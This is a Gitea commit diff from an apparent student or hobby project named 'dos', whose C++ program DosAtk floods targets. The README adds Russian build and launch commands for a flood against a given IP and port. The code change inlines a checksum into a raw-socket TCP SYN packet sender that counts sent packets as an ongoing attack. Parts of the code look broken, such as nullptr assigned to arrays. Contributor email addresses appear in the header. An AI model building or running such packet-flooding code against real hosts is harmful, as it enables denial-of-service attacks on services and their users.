delete check_sum function and moved its logic inside tcp_syn (#13)
Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/13 Reviewed-by: dr-wh0 <79003667309@yandex.ru> Co-authored-by: Urmipie <pablonepikasso8000@gmail.com> Co-committed-by: Urmipie <pablonepikasso8000@gmail.com>
This commit is contained in:
parent
27d94f1199
commit
d2daab9650
14
README.md
14
README.md
|
@ -1,6 +1,7 @@
|
|||
# Как жить?
|
||||
|
||||
Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request.
|
||||
Либо просим у Серафима контрибьютора и сразу делаем ветку где надо (так даже лучше, не придётся мучаться с мержем из форка)
|
||||
|
||||
```
|
||||
git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!)
|
||||
|
@ -13,15 +14,22 @@ git push origin my_dns # Пушим свою ветку в репозитори
|
|||
|
||||
# Компиляция
|
||||
|
||||
Для компиляции: `./build.sh`, либо ручками: `g++ DosAtk.cpp -lcurl`
|
||||
Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: `sudo apt-get install libcurl4-openssl-dev`
|
||||
Для компиляции: `./build.sh` (после компиляции запускает файл), либо ручками: `g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto`
|
||||
Если ошибка отсутствия заголовочных файлов, то нужно установить:
|
||||
|
||||
```
|
||||
sudo apt-get install libcurl4-openssl-dev
|
||||
sudo apt-get install libssl-dev
|
||||
```
|
||||
|
||||
# Запуск
|
||||
|
||||
Пример запуска:
|
||||
|
||||
```
|
||||
sudo ./DosAtk -a flood -i 127.0.0.1 -p 800
|
||||
sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 # запуск заранее скомпилированной программы
|
||||
sudo ./build.sh -a flood -i 127.0.0.1 -p 800 # скомипилирует и запустит программу
|
||||
```
|
||||
|
||||
Запускается только на Линухе!
|
||||
|
||||
|
|
2
build.sh
2
build.sh
|
@ -1,2 +1,4 @@
|
|||
#!/bin/sh
|
||||
set -e # if compilation fail next command will not be executed, so older version of programm will not be launched
|
||||
g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto
|
||||
./DosAtk "$@"
|
||||
|
|
|
@ -423,60 +423,24 @@ int my_dns()
|
|||
printf("end my_dns"); // debug
|
||||
}
|
||||
|
||||
unsigned short checksum(void *data, int len)
|
||||
{
|
||||
/**
|
||||
* Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071)
|
||||
*
|
||||
* Параметры:
|
||||
* data - указатель на данные пакета
|
||||
* len - длина данных в байтах
|
||||
*
|
||||
* Возвращает:
|
||||
* 16-битную инвертированную контрольную сумму
|
||||
*/
|
||||
// === Объявление локальных переменных ===
|
||||
uint16_t *ptr; // Указатель для чтения 16-битных слов
|
||||
unsigned long sum; // Аккумулятор для суммы
|
||||
uint8_t *byte_ptr; // Указатель для чтения одиночного байта
|
||||
// === Инициализация переменных ===
|
||||
ptr = (uint16_t *)data; // Инициализируем указатель на данные
|
||||
sum = 0; // Начальное значение суммы
|
||||
// === Основная логика процедуры ===
|
||||
// Суммируем 16-битные слова
|
||||
while (len > 1) {
|
||||
sum += *ptr++; // Добавляем текущее слово и перемещаем указатель
|
||||
len -= 2; // Уменьшаем счетчик оставшихся байт
|
||||
}
|
||||
if (len == 1) { // Если остался непарный байт, добавляем его в сумму
|
||||
byte_ptr = (uint8_t *)ptr;
|
||||
sum += *byte_ptr;
|
||||
}
|
||||
sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток)
|
||||
return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму
|
||||
}
|
||||
|
||||
|
||||
int my_tcp_syn()
|
||||
{
|
||||
int my_tcp_syn() {
|
||||
/*
|
||||
* Отправляет TCP SYN запрос на указанный IP и порт
|
||||
* Отправляет TCP SYN запрос на указанный IP и порт
|
||||
* status:
|
||||
* 0 - запрос успешно отправлен (атака продолжается)
|
||||
* 2 - достигнуто максимальное количество запросов (1000)
|
||||
* -201 - ошибка создания raw-сокета
|
||||
* -202 - ошибка отправки SYN-пакета
|
||||
* 0 - запрос успешно отправлен (атака продолжается)
|
||||
* 2 - достигнуто максимальное количество запросов (1000)
|
||||
* -201 - ошибка создания raw-сокета
|
||||
* -202 - ошибка отправки SYN-пакета
|
||||
*/
|
||||
printf("start my_tcp_syn"); // debug
|
||||
|
||||
|
||||
// === Объявление локальных переменных ===
|
||||
int sock; // Основной raw-сокет для отправки пакетов
|
||||
int one; // Флаг для setsockopt
|
||||
// Структуры для адресов
|
||||
struct sockaddr_in target_addr; // Адрес цели
|
||||
// Параметры подключения
|
||||
uint16_t target_port = 0; // Порт цели (в сетевом порядке байт)
|
||||
uint16_t target_port; // Порт цели (в сетевом порядке байт)
|
||||
// Структуры заголовков
|
||||
struct iphdr ip_header; // IP-заголовок пакета
|
||||
struct tcphdr tcp_header; // TCP-заголовок пакета
|
||||
|
@ -491,6 +455,12 @@ int my_tcp_syn()
|
|||
// Буферы данных
|
||||
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
|
||||
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
|
||||
|
||||
// Переменные для встроенного расчета контрольной суммы
|
||||
uint16_t *checksum_ptr;
|
||||
unsigned long checksum_sum;
|
||||
uint8_t *checksum_byte_ptr;
|
||||
int checksum_len;
|
||||
|
||||
// === Инициализация переменных ===
|
||||
sock = -1;
|
||||
|
@ -502,6 +472,9 @@ int my_tcp_syn()
|
|||
pseudo_header = nullptr;
|
||||
temp_buf = nullptr;
|
||||
packet = nullptr;
|
||||
checksum_ptr = 0;
|
||||
checksum_sum = 0;
|
||||
checksum_len = 0;
|
||||
|
||||
// === Основная логика процедуры ===
|
||||
// 1. Создание raw-сокета
|
||||
|
@ -515,7 +488,10 @@ int my_tcp_syn()
|
|||
// 3. Настройка адреса цели
|
||||
memset(&target_addr, 0, sizeof(target_addr));
|
||||
target_addr.sin_family = AF_INET;
|
||||
inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0
|
||||
if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
|
||||
close(sock);
|
||||
return -202;
|
||||
}
|
||||
|
||||
// 4. Формирование IP заголовка
|
||||
memset(&ip_header, 0, sizeof(ip_header));
|
||||
|
@ -546,7 +522,23 @@ int my_tcp_syn()
|
|||
};
|
||||
memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
|
||||
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
|
||||
tcp_header.check = checksum(temp_buf, sizeof(temp_buf));
|
||||
|
||||
// Встроенный расчет контрольной суммы
|
||||
checksum_ptr = (uint16_t *)temp_buf;
|
||||
checksum_len = sizeof(temp_buf);
|
||||
|
||||
while (checksum_len > 1) {
|
||||
checksum_sum += *checksum_ptr++;
|
||||
checksum_len -= 2;
|
||||
}
|
||||
|
||||
if (checksum_len == 1) {
|
||||
checksum_byte_ptr = (uint8_t *)checksum_ptr;
|
||||
checksum_sum += *checksum_byte_ptr;
|
||||
}
|
||||
|
||||
checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF);
|
||||
tcp_header.check = (unsigned short)(~checksum_sum);
|
||||
|
||||
// 7. Сборка пакета
|
||||
memcpy(packet, &ip_header, sizeof(iphdr));
|
||||
|
@ -554,7 +546,7 @@ int my_tcp_syn()
|
|||
|
||||
// 8. Отправка пакета
|
||||
if (sendto(sock, packet, sizeof(packet), 0,
|
||||
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
|
||||
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
|
||||
n_fail_requests++;
|
||||
return -202;
|
||||
} else {
|
||||
|
@ -566,7 +558,7 @@ int my_tcp_syn()
|
|||
return 2;
|
||||
}
|
||||
|
||||
|
||||
|
||||
close(sock);
|
||||
printf("end my_tcp_syn"); // debug
|
||||
return 0;
|
||||
|
@ -801,4 +793,4 @@ int main(int arg_ctr, char **arg_ptr)
|
|||
}
|
||||
|
||||
return 0; // Возвращаем код успешного завершения
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue